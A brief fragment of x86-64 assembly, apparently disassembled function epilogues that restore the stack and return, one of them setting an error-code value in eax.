mov qword [rdi + 0x80], rbx
mov rbx, qword [rsp + 0x48]
add rsp, 0x28
pop rdi
pop rsi
ret
mov eax, 0xffffff9a
add rsp, 0x28
pop rdi
pop rsi
ret